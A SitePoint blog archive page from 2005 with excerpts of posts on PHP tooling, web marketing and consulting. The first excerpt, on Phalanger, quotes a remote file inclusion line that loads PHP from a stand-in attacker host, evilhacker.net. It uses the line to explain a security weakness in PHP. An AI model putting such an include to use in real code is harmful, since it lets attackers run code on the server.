RSS ? Recent Blog Posts

Blogs » Archive for November, 2005

Phalanger - better than the real thing?

by Harry Fuecks

Have mentioned Phalanger before - a complete re-implementation of PHP for .NET. It’s come a long way since then and they released version 1.0 RC2 last month with a change log that suggests they’ve got common use cases covered and are moving on to “nice to have” edge cases. They’ve also reported success with running phpMyAdmin, phpBB2 and PHP-Nuke under Phalanger.

Anyway, while reading about how includes work in Phalanger, one paragraph stood out;

In PHP, you can use either physical paths or URIs to specify a target file of an inclusion. URI has to start with schema specification (http://, ftp://, file://, etc.) which sets it apart from physical path. In the current version, Phalanger doesn’t support URIs in inclusions. URIs are only supported in file-system functions like fopen().

What’s so exciting here? In short, Phalanger has implemented a better / smarter security policy here than the real PHP, whether by accident or intent.

With Phalanger you still get to do;

file_get_contents(’http://example.com’);

…without the risk of;

include ‘http://evilhacker.net/somephp.txt’;

Meanwhile, with real PHP (even the latest versions as far as I know) you can either have both or neither - the first is a useful feature while the second is something there is really no legitimate …

 

From consultant to guru

by Andrew Neitlich

The consulting and professional services model has a major flaw: As a consultant, you have no choice but to trade your time for dollars. Therefore, you limit the income you can earn. Even if you know how to “value price” (pricing based on the value of the assignment to the client instead of on an hourly rate for you), you still limit yourself.

I’m getting away from the consulting model as fast as I can (and really have been moving away from it over the past 2 years), especially as I approach my 40th birthday (gasp!) next week. Otherwise:

- I won’t have a firm with equity value that I can sell to others.

- I will always be limited in what I can earn.

- My retirement will be less happy than it otherwise could be.

The alternative? Create a firm that is not dependent on you. Then you create true enterprise value, and get to make money while you spend your time away from clients.

There are many ways to do this, but they all involve leverage:

- Leverage your time by developing repeatable processes, so that others can earn money for you.

- Leverage your time by selling products, so that you make it once …

 

Convert ASP to PHP with ASPA

by Harry Fuecks

If you’ve been around PHP a little, you’ve probably run into asp2php before, an app which attempts to convert ASP 3.0 code (VBScript mainly) to PHP automatically. I’ve mentioned and joked about this stuff before but recently been playing with something that looks serious.

While asp2php is a brave project and I have no wish to knock it, from past experiments found it unconvincing. Yes it delivers something resembling PHP but the real issue is what still remains TODO - basically an 80/20 thing. And while that is to be expected with any tool of this kind, the problem is there’s no way to control what get’s generated, other than by modifying the C source.

A while back, while looking for tools able to parse PHP1), run into ASPA, developed by Anakreon Mejdi: “ASPA attempts to automate the process of translating asp pages into php. The supported languages are JScript and VbScript.”.

ASPA is written in Java and builds on top of ANTLR, a mature, Open Source parser generator framework. What makes it special, IMO, is it’s fairly easy to control the output PHP by virtue of XML “mapping” files which are loaded at runtime (during …

 

You Have to Try This on Google.

by Matt Mickiewicz

Google is now offering a new glimpse at exactly how their spider views your Website.

Try this:
1. Login to your Google account (AdWords, Gmail or Analytics)
2. Enter your Website URL at the bottom of this page.
3. Verify your Website by creating a uniquely-named, but empty HTML file and uploading it to your server. Click on the “verify” link to view instructions on how to do this. More info about verifying your site.
4. Click the “View stats” link

So what exactly can you find out?

  • The most popular queries that your Website shows up for
  • The top queries from which you get clickthroughs
  • Crawl statistics: Pages succesfully crawled, pages blocked by robots.txt, pages that generated HTTP errors or were unreachable
  • The PageRank distribution within your site
  • Various indexing stats (pages indexed, etc.)

This is an awesome troubleshooting tool for all Webmasters, and something that hopefully the other search engines will copy soon.

 

Leaving Money on the Table: Printable Versions of Articles

by Chris Beasley

If you offer printable versions of your site’s content with all the graphics and ads removed you really need to take a couple steps first to make sure you aren’t leaving money on the table.

Back in 2001 SitePoint had an article linked to from Slashdot and thousands of people came to view the article. Good right? Well unfortunately the printable version was linked to, not the normal version, so SitePoint got to deal with all those bandwidth issues associated with a link from Slashdot but they didn’t reap any ad revenue from it. You can read more about it in this old issue of the tribune.

Their solution was to do a referrer check on printer-friendly articles and, if the referrer is not the site itself, to redirect to the normal version of the article. This is something I recommend everyone who offers printer-friendly articles to do.

Likewise you should block such pages from search engines as well, even if you choose not to do the redirect. The last thing you want is for search engines to start ignoring your normal articles in favor of your printable ones, you don’t want to compete with yourself and there is also …

 

MSN AdCenter: A Preview

by Matt Mickiewicz

It’s no secret that MSN is preparing to take on Google AdWords & Yahoo! Search Marketing (formerly Overture) in the Pay-Per-Click advertising space.

Searchenginelowdown.com has an review & screenshots of the new AdCenter interface and some of the cool features that MSN will be rolling out.

Highlights include:

  • Geo-targeting by country, down to specific cities: Great for local businesses
  • Age & Gender Targeting (wow!): Targeting only people old enough to have a credit card? Female Retirees? Male Teens? You will now be able to with this new feature. You can even bid different amounts per-click, depending on the gender or age group.
  • Time Targeting. This is useful, if for example, a large number of your orders are placed over the phone. By targeting by time & date, you can restrict your advertising during hours which your phone reps are available to answer the phone

From the looks of it, the interface is more AdWords than Yahoo! Search Marketing - which probably means that Microsoft invested quite a bit of time and resources in focus groups, and usability studies, to ensure they “get it right”.

If you’re a PPC Advertiser based in the USA, you can register for the MSN AdCenter …

 

Rolling with the punches

by Andrew Neitlich

This is just a blog post to let you know that some days really stink, and there’s not much you can do about it.

As I wake up today, I see that I sent out a newsletter today with an advertisement to one of my books. But my shoppingcart subscription also expired today (nice of them to notify me!). So I lost who knows how many potential customers.

A supplier for products in China has pushed back delivery dates by 2 weeks AND raised prices on me, costing me both orders and profits.

And a third site I have is just not coming together as fast as I would like.

Finally, a business partner is promising me some additional consulting work, but the timing keeps getting pushed back. And a consulting engagement I thought I had seems to be petering out.

So it’s a good day to take a deep breath and practice resilience.

There are even “gurus” who look at resilience and people’s ability to bounce back from obstacles as a sign of success. See for instance the book Adversity Quotient.

I hope your day is going better than mine….

 

GUIs with PHP and Winbinder

by Harry Fuecks

In case you missed it, Aaron Wormus has some excellent slides up about building Windows GUIs with PHP: Winbinding your PHP (PDF).

In brief, Winbinder is a GUI toolkit for PHP and Windows. The main site seems to be down right now but the code is available @http://sourceforge.net/projects/winbinder/. Compared to PHP-GTK it’s Windows only but at the same time fast and gives you the Windows look and feel. Winbinder also seems more suited to PHP hackers (procedural rather than OO)

Was otherwise surprised to see that things are happening (in CVS) at wxphp.sourceforge.net while phpc is actually useful. More interesting links at the end of Aarons slides.

All that said, would still say that Python plus wxPython is the sane option if you want a dynamic language to build GUIs in - mature, cross platform, native look and feel etc. The easiest way to express that is simply to link to applications like taskcoach or ActiveGrid’s Application Builder (which is in fact pretty amazing).

 

Shaking up Search

by Harry Fuecks

Indexing looks better with humans

If you do any reading about search engines the word “algorithm” will jump out at you pretty quick, perhaps with a pinch of MathML, just to make sure the lay-people are truly dazzled. All kinds of lore and mystery surround Google’s search algorithm. Meanwhile IBM have this UIMA-thing for truly smart searching.

But compare these search results for “PHP SOAP” - http://del.icio.us/search/?all=php+soap and http://www.google.com/search?q=php+soap. Right now Google returns the first result as the long-dead PHP SOAP Toolkit. Meanwhile delicious gives me this tutorial first: PHP Web Services Without SOAP - how does that result compute in terms of relevance?

Put another way, how smart does your search algorithm need to be for it to be able to return a result like “FatBoy Slim?!? You’re kidding, right? Break beats are dead baby!”

As I (cynically) pointed out here, humans are great for building search engine indexes. They’re self-maintaining, abundant, smart and distributed. It doesn’t matter how clever your algorithm is - even if you can match a human’s ability to categorize, the economics of doing so will kill you.

Meanwhile, an interesting point on Reasons Unbeknownst here;

bloggers are starting to get more …

 

Mozilla XForms Project threatened by cut-backs

by Kevin Yank

A couple of weeks ago, I took the second preview release of the Mozilla XForms Project for a spin, demonstrating how it could be used along with the FormsPlayer plug-in for Internet Explorer to create cross-browser XForms.

Unfortunately, despite all the promise of that preview, things are suddenly looking very grim for XForms support in Mozilla. News has come that Novell, in a round of cut-backs, has dismissed the entire development team on the project, including lead developer Allan Beaufour, who wrote about it in his blog.

Though the project was open source and had the support of several volunteer members of the development community, the main development effort was launched and funded by Novell. Without that support, the project–tantalizingly close to a 1.0 release–may not have the momentum to carry it forward for the foreseeable future.

As a fan of XForms, I’m deeply disapointed by this news. I was even preparing a presentation for the Melbourne Open Source Developer Conference on the subject of Mozilla XForms in December. It looks like I’ll have to come up with something different to speak about now.

Update: Allan Beaufour has posted to the netscape.public.mozilla.xml newsgroup regarding the future of …

 

Sponsored Links

SitePoint Marketplace

Buy and sell Websites, templates, domain names, hosting, graphics and more.